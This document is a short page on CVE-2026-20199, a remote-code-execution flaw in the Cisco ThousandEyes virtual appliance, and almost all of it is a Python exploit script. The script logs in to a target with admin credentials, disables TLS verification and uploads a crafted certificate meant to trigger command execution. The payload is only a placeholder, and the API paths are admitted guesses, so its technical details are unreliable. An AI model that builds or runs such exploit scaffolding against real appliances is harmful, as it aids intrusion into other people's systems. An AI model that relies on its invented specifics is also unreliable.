CVE-2026-20199 Cisco ThousandEyes 虚拟设备RCE漏洞

#!/usr/bin/env python3 """ Conceptual Proof of Concept (PoC) for CVE-2026-20199. This script demonstrates how an authenticated attacker might upload a crafted certificate to exploit the insufficient validation vulnerability. Note: The actual payload structure depends on the specific parsing flaw. """ import requests import sys # Configuration TARGET_IP = "<TARGET_IP>" # Replace with the target IP address ADMIN_USER = "admin" # Replace with valid admin username ADMIN_PASS = "password" # Replace with valid admin password # The vulnerable endpoint for certificate upload (example path) UPLOAD_URL = f"https://{TARGET_IP}/api/v1/certs/upload" # A crafted certificate payload containing the malicious command # This is a placeholder representing the insufficient validation exploit. # In a real scenario, this might be a malformed PEM file with embedded shell commands. MALICIOUS_CERT = """-----BEGIN CERTIFICATE----- MIICkzCCAXugAwIBAgIJAKL0UG+mRKN7MA0GCSqGSIb3DQEBCwUAMCMxITAfBgNV BAoTGkNpc2NvIFRob3VzYW5kRXllcyBWdWxuZXJhYmlsaXR5MB4XDTI2MDUyMDE3 MTYyMVoXDTI3MDUyMDE3MTYyMVowIzEhMB8GA1UEChMYQ2lzY28gVGhvdXNhbmRF eWVzIFZ1bG5lcmFiaWxpdHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB AQD[...Malicious Payload / Command Injection Data...]AqIBAgIJAKL0UG+mRKN7MA0GCSqGSIb3DQEBCwUAMCMxITAfBgNV -----END CERTIFICATE----- """ def exploit(): session = requests.Session() # Disable SSL warnings for the PoC (self-signed environments) session.verify = False requests.urllib3.disable_warnings(requests.urllib3.exceptions.InsecureRequestWarning) print(f"[*] Attempting to login to {TARGET_IP} as {ADMIN_USER}...") # Step 1: Authenticate login_data = { "username": ADMIN_USER, "password": ADMIN_PASS } # Assuming a standard login endpoint; adjust based on actual API behavior login_response = session.post(f"https://{TARGET_IP}/api/v1/login", data=login_data) if login_response.status_code != 200: print("[-] Login failed. Check credentials.") sys.exit(1) print("[+] Login successful.") # Step 2: Upload Crafted Certificate print(f"[*] Uploading crafted certificate to {UPLOAD_URL}...") files = { 'certificate_file': ('exploit.crt', MALICIOUS_CERT, 'application/x-pem-file') } response = session.post(UPLOAD_URL, files=files) if response.status_code == 200: print("[+] Upload successful. Check if command was executed.") else: print(f"[-] Upload failed with status code: {response.status_code}") print(response.text) if __name__ == "__main__": exploit()